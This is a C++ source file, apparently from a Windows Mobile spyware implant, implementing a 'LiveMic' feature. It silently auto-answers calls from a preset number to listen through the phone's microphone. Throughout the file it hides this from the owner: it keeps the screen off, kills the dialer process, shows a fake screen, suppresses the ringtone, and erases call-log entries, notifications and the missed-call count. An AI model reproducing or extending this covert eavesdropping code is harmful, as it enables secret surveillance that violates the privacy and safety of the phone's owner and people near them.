Mornella/Mornella_Mobile/LiveMic.cpp
#include <new>
using namespace std;
#include <windows.h>
#include "CallBacks.h"
#include "LiveMic.h"
#include "TapiManager.h"
#include "RilManager.h"
#include "FakeScreen.h"
#include "Device.h"
#include "ProcessMonitor.h"
#include "Registry.h"
MYDEFINE_GUID(CLSID_SHNAPI_Tel, 0x53DB6D44, 0x7E4A, 0x43eb, 0xB4, 0x11, 0x67, 0xC5, 0x1C, 0xC3, 0xB8, 0xC9);
void pfnKillCprog(HWND hWin, UINT u1, UINT u2, DWORD dw1)
{
LiveMic* pLiveMic = LiveMic::self();
pLiveMic->StopCprog();
}
void __stdcall pfnKeepScreenOff(LPVOID lpParam)
{
UINT* uTime = (UINT*)lpParam;
UINT uSlice = 100, uSteps = (*uTime)%uSlice;
LiveMic* pLiveMic = LiveMic::self();
if ((*uTime) <= uSlice) {
pLiveMic->KeepScreenOff();
ExitThread(0);
}
while (uSteps-- > 0) {
pLiveMic->KeepScreenOff();
Sleep(uSlice);
}
pLiveMic->KeepScreenOff();
ExitThread(0);
}
void __stdcall pfnKeepScreenOffEndOn(LPVOID lpParam)
{
UINT* uTime = (UINT*)lpParam;
UINT uSlice = 100, uSteps = (*uTime)%uSlice;
LiveMic* pLiveMic = LiveMic::self();
if ((*uTime) <= uSlice) {
pLiveMic->KeepScreenOff();
ExitThread(0);
}
while (uSteps-- > 0) {
pLiveMic->KeepScreenOff();
Sleep(uSlice);
}
pLiveMic->ScreenOn();
ExitThread(0);
}
BOOL LiveMic::DropHiddenCall(HCALL hCall, BOOL bRestore)
{
if (m_hCall == NULL) {
if (hCall == NULL)
return FALSE;
m_hCall = hCall;
}
m_pTapiMan->DropCall(m_hCall);
m_bHiddenCallIncoming = FALSE;
if (bRestore)
RestoreAfterDrop();
m_pScreen->Stop();
DBG_TRACE(L"ControlTh.cpp pfnFuncProc pLiveMic->DropHiddenCall OK ", 5, FALSE);
ResetEvent(m_hAnswerEvent);
return TRUE;
}
VOID LiveMic::RestoreAfterDrop()
{
m_pDevice->RemoveCallEntry(m_wsTelephoneNumber);
m_pDevice->RemoveNotification(&CLSID_SHNAPI_Tel);
RestoreCprog();
SetHiddenCallStatus(NULL);
m_pRegistry->RegMissedCallDecrement();
// Restore default start option for cprog
m_wsCprogOptions.assign(L" -n");
}
BOOL LiveMic::HandleDisconnectCall(HCALL hCall)
{
if (m_hCall == NULL)
m_hCall = hCall;
if (m_hCall != NULL) {
if (m_pTapiMan->DeallocateCall(m_hCall) == TRUE) {
SetHiddenCallStatus(NULL);
m_bHiddenCallIncoming = FALSE;
} else {
if (DropHiddenCall(m_hCall, FALSE)) {
SetHiddenCallStatus(NULL);
}
}
}
m_pDevice->RemoveCallEntry(m_wsTelephoneNumber);
m_pDevice->RemoveNotification(&CLSID_SHNAPI_Tel);
RestoreCprog();
// Keep screen locked while cprog is loading
m_pScreen->Stop();
return TRUE;
}
BOOL LiveMic::HandleNewCall(HCALL hCall)
{
BOOL bOut = FALSE;
BOOL bStatusOn = m_bPowerStatusOn;
DBG_TRACE_INT(L"LiveMic HandleNewCall m_bPowerStatusOn=", 5, FALSE, m_bPowerStatusOn);
if (!bStatusOn) {
DBG_TRACE_INT(L"LiveMic HandleNewCall if (!bLastStatus) 1 ", 5, FALSE, m_bPowerStatusOn);
KeepScreenOff(1000, FALSE);
}
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
// Check Incoming call caller
DWORD dwOut = WaitForSingleObject(m_hAnswerEvent, 500);
DBG_TRACE_INT(L"LiveMic HandleNewCall WaitForSingleObject ", 5, FALSE, dwOut);
if (dwOut != WAIT_OBJECT_0) {
if (!m_pTapiMan->CheckNumber(hCall, m_wsTelephoneNumber)) {
DBG_TRACE(L"LiveMic HandleNewCall CheckNumber ", 5, FALSE);
return bOut;
}
}
m_bHiddenCallIncoming = TRUE;
if (!bStatusOn)
KeepScreenOff();
// Modify ring script
if (!m_pRegistry->SetRingScript()) {
DBG_TRACE(L"LiveMic HandleNewCall SetRingScript FAILED", 5, FALSE);
DropHiddenCall(hCall, FALSE);
m_pRegistry->RestoreRingScript();
SetHiddenCallStatus(NULL);
return bOut;
}
// Check power status
if (bStatusOn) {
DBG_TRACE_INT(L"LiveMic HandleNewCall if (bLastStatus) 4 ", 5, FALSE, m_bPowerStatusOn);
m_pScreen->Start();
StopCprog();
DropHiddenCall(hCall, TRUE);
return bOut;
}
KeepScreenOff(500, FALSE);
StopCprog();
m_pScreen->Start();
KeepScreenOff(500, FALSE);
if (FALSE == m_pTapiMan->AnswerCall(hCall)) {
DBG_TRACE(L"LiveMic HandleNewCall AnswerCall FAILED ", 5, FALSE);
DropHiddenCall(hCall, FALSE);
KeepScreenOff(500, FALSE);
return bOut;
}
// Check power status
KeepScreenOff(500, FALSE);
// Hidden call status
SetHiddenCallStatus(hCall);
// Ring Script key restored
m_pRegistry->RestoreRingScript();
ResetEvent(m_hAnswerEvent);
return TRUE;
}
BOOL LiveMic::ScreenOn()
{
if (!m_pDevice->SetPwrRequirement(POWER_STATE_ON)) {
if (!m_pDevice->VideoPowerSwitch(VideoPowerOn)) {
DBG_TRACE(L"LiveMic ScreenOn ERROR", 5, FALSE);
return FALSE;
}
}
DBG_TRACE(L"LiveMic ScreenOn OK", 5, FALSE);
return TRUE;
}
BOOL LiveMic::KeepScreenOff()
{
BOOL bOut = FALSE;
if (m_pDevice->VideoPowerSwitch(VideoPowerOff))
bOut = TRUE;
if (!bOut) {
if (m_pDevice->SetPwrRequirement(POWER_STATE_UNATTENDED)) {
bOut = TRUE;
}
}
return bOut;
}
VOID LiveMic::KeepScreenOff(UINT uTime)
{
KeepScreenOff(uTime, FALSE);
}
// Try to switch off screenligth every 100 ms for uTime(exp in ms)
// bScreenOn specifies if screenligth will be switched off or not at the end of uTime
VOID LiveMic::KeepScreenOff(UINT uTime, BOOL bScreenOn)
{
KeepScreenOff();
HANDLE hTmpTh = INVALID_HANDLE_VALUE;
if (bScreenOn)
hTmpTh = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pfnKeepScreenOffEndOn, &uTime, 0, NULL);
else
hTmpTh = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pfnKeepScreenOff, &uTime, 0, NULL);
if (hTmpTh != NULL) {
CloseHandle(hTmpTh);
}
return;
}
BOOL LiveMic::StopCprog()
{
/* if (m_pProcess->SuspendAllThread(m_wsCprog) == TRUE) {
DBG_TRACE(L"LiveMic.cpp StopCprog SuspendAllThread OK ", 5, FALSE);
return m_bNotificationThreadSuspended = TRUE;
} else*/
if (m_pProcess->KillProcess(m_wsCprog)) {
DBG_TRACE(L"LiveMic.cpp StopCprog KillProcess OK ", 5, FALSE);
return TRUE;
}
DBG_TRACE(L"LiveMic.cpp StopCprog FAILED ", 5, FALSE);
return FALSE;
}
VOID LiveMic::RestoreCprog()
{
/*if (m_bNotificationThreadSuspended) {
if (m_pProcess->ResumeAllThread(m_wsCprog) == TRUE) {
DBG_TRACE(L"LiveMic.cpp RestoreCprog ResumeAllThread OK ", 5, FALSE);
m_bNotificationThreadSuspended = FALSE;
return;
}
}*/
if (m_pProcess->StartProcess(m_wsCprog, m_wsCprogPath, m_wsCprogOptions)) {
DBG_TRACE(L"LiveMic.cpp RestoreCprog StartProcess OK ", 5, FALSE);
}
}
VOID LiveMic::SetHiddenCallStatus(HCALL hCall)
{
m_hCall = hCall;
if (hCall != NULL) {
m_bHiddenCallInProgress = TRUE;
DBG_TRACE_INT(L"LiveMic.cpp SetHiddenCallStatus ", 5, FALSE, TRUE);
} else {
m_bHiddenCallInProgress = FALSE;
DBG_TRACE_INT(L"LiveMic.cpp SetHiddenCallStatus ", 5, FALSE, FALSE);
}
}
VOID LiveMic::LineCallStateConnected()
{
m_bCallInProgress = TRUE;
DBG_TRACE(L"LiveMic.cpp LineCallStateConnected m_bCallInProgress TRUE", 5, FALSE);
if (IsHiddenCallInProgress()) {
m_hKillCprogTimer = SetTimer(NULL, 0, 5000, (TIMERPROC) pfnKillCprog);
KeepScreenOff(1000, FALSE);
m_bHiddenCallIncoming = FALSE;
}
m_pRegistry->RestoreRingScript();
}
VOID LiveMic::LineCallStateDisconnected()
{
if (IsHiddenCallInProgress()) {
//KeepScreenOff(1000, FALSE);
if (m_hCall != NULL)
HandleDisconnectCall(m_hCall);
}
if (m_hKillCprogTimer)
KillTimer(0, m_hKillCprogTimer);
m_bCallInProgress = FALSE;
DBG_TRACE(L"LiveMic.cpp LineCallStateDisconnected m_bCallInProgress = FALSE", 5, FALSE);
m_bLocalDrop = FALSE;
m_pRegistry->RestoreRingScript();
m_pRegistry->RegRemoveLastCaller();
}
VOID LiveMic::LineCallStateOffering(HCALL hCall)
{
if (IsHiddenCallInProgress()) {
DBG_TRACE(L"LiveMic.cpp LineCallStateOffering IsHiddenCallInProgress()", 5, FALSE);
if (m_bCallInProgress) { // Hidden call in progress is in connected state
DBG_TRACE(L"LiveMic.cpp LineCallStateOfferingif (m_bCallInProgress) ", 5, FALSE);
DropHiddenCall(NULL, TRUE); // if i use NULL, it'll use the handle saved during APPNEWCALL
}
} else {
DBG_TRACE(L"LiveMic.cpp LineCallStateOffering ! IsHiddenCallInProgress()", 5, FALSE);
if (m_bCallInProgress) { // Call in progress
DBG_TRACE(L"LiveMic.cpp LineCallStateOffering ! IsHiddenCallInProgress() m_bCallInProgress", 5, FALSE);
if (m_pTapiMan->CheckNumber(hCall, m_wsTelephoneNumber)) { // New call become from hidden number
DBG_TRACE(L"LiveMic.cpp LineCallStateOffering ! IsHiddenCallInProgress() CheckNumber", 5, FALSE);
DropHiddenCall(hCall, TRUE);
}
}
}
}
BOOL LiveMic::Initialize(wstring wsTelephoneNumber, HINSTANCE hInstance)
{
if (m_bInitialized) {
Uninitialize();
}
m_wsTelephoneNumber.assign(wsTelephoneNumber);
if (m_wsTelephoneNumber.empty()) {
DBG_TRACE(L"LiveMic.cpp Initialize m_wsTelephoneNumber is empty ", 5, FALSE);
return FALSE;
}
m_pScreen = FakeScreen::self(hInstance);
m_pDevice = Device::self();
m_pProcess = ProcessMonitor::self();
m_pRegistry = Registry::self();
m_pCtrlTh = ControlTh::self();
m_pTapiMan = TapiManager::self();
m_pRilMan = new(nothrow) RilManager();
if (m_pScreen == NULL ||
m_pDevice == NULL ||
m_pProcess == NULL ||
m_pRegistry == NULL ||
m_pCtrlTh == NULL ||
m_pTapiMan == NULL ||
m_pRilMan == NULL) {
DBG_TRACE(L"LiveMic.cpp Initialize SOME OBJECT FAILED ", 5, FALSE);
return FALSE;
}
if (m_pDevice->RegisterPowerNotification(BackLightCallbackSlow, (DWORD)&m_bPowerStatusOn) == FALSE) {
DBG_TRACE(L"LiveMic.cpp Initialize RegisterPowerNotification FAILED ", 5, FALSE);
return FALSE;
}
if (!m_pTapiMan->Init()) {
DBG_TRACE(L"LiveMic.cpp Initialize m_pTapiMan->Init() FAILED ", 5, FALSE);
return FALSE;
}
if (!m_pCtrlTh->Init()) {
DBG_TRACE(L"LiveMic.cpp Initialize m_pCtrlTh->Init() FAILED ", 5, FALSE);
m_pTapiMan->UnInit();
return FALSE;
}
/*if (!m_pCtrlTh->Start()) {
DBG_TRACE(L"LiveMic.cpp Initialize m_pCtrlTh->Start() FAILED ", 5, FALSE);
}*/
if (!m_pRilMan->Init()) {
DBG_TRACE(L"LiveMic.cpp Initialize m_pRilMan->Init() FAILED ", 5, FALSE);
}
return m_bInitialized = TRUE;
}
VOID LiveMic::Uninitialize()
{
if (m_hCall)
HandleDisconnectCall(m_hCall);
if (m_hKillCprogTimer)
KillTimer(0, m_hKillCprogTimer);
if (m_pDevice->UnRegisterPowerNotification(BackLightCallbackSlow)) {
DBG_TRACE(L"LiveMic.cpp Uninitialize UnRegisterPowerNotification OK ", 5, FALSE);
}
if (m_pCtrlTh) {
DWORD dwOut = m_pCtrlTh->Stop();
//pLiveMic->StopCtrlTh();
DBG_TRACE_INT(L"LiveMic.cpp Uninitialize m_pCtrlTh->Stop():", 5, TRUE, dwOut);
m_pCtrlTh->Uninit();
}
if (m_pRilMan) {
delete m_pRilMan;
DBG_TRACE(L"LiveMic.cpp Uninitialize delete m_pRilMan OK ", 5, FALSE);
}
if (m_pTapiMan){
if (!m_pTapiMan->UnInit()) {
DBG_TRACE(L"LiveMic.cpp Uninitialize m_pTapiMan->UnInit() FAILED", 5, FALSE);
} else {
DBG_TRACE(L"LiveMic.cpp Uninitialize m_pTapiMan->UnInit() OK ", 5, FALSE);
}
}
if (m_pScreen) {
if (m_pScreen->Stop()) {
DBG_TRACE(L"LiveMic.cpp Uninitialize m_pScreen->Stop() OK ", 5, FALSE);
} else {
DBG_TRACE(L"LiveMic.cpp Uninitialize m_pScreen->Stop() FAILED ", 5, FALSE);
}
}
if (m_hAnswerEvent)
CloseHandle(m_hAnswerEvent);
m_bInitialized = FALSE;
}
LiveMic* LiveMic::m_pInstance = NULL;
volatile LONG LiveMic::m_lLock = 0;
LiveMic* LiveMic::self() {
while (InterlockedExchange((LPLONG) &m_lLock, 1) != 0)
Sleep(100);
if (NULL == m_pInstance)
m_pInstance = (LiveMic*) new(nothrow) LiveMic();
InterlockedExchange((LPLONG)&m_lLock, 0);
return m_pInstance;
}
LiveMic::LiveMic(void)
{
m_bCtrlThreadActive = m_bHiddenCallInProgress = m_bCallInProgress = m_bNotificationThreadSuspended = FALSE;
m_bPowerStatusOn = m_bInitialized = m_bHiddenCallIncoming = FALSE;
m_pScreen = NULL;
m_pDevice = NULL;
m_pProcess = NULL;
m_pRegistry = NULL;
m_pTapiMan = NULL;
m_pRilMan = NULL;
m_hCall = NULL;
m_wsCprog = L"cprog.exe";
m_wsCprogPath = L"\\windows\\";
m_wsCprogOptions = L" -n";
m_hAnswerEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
m_hKillCprogTimer = 0;
}
LiveMic::~LiveMic(void)
{
Uninitialize();
}
VOID LiveMic::AudioAdjust()
{
m_pRilMan->GetAudioGain();
m_pRilMan->SetAudioGain(FALSE);
}
VOID LiveMic::AudioRestore()
{
m_pRilMan->SetAudioGain(TRUE);
}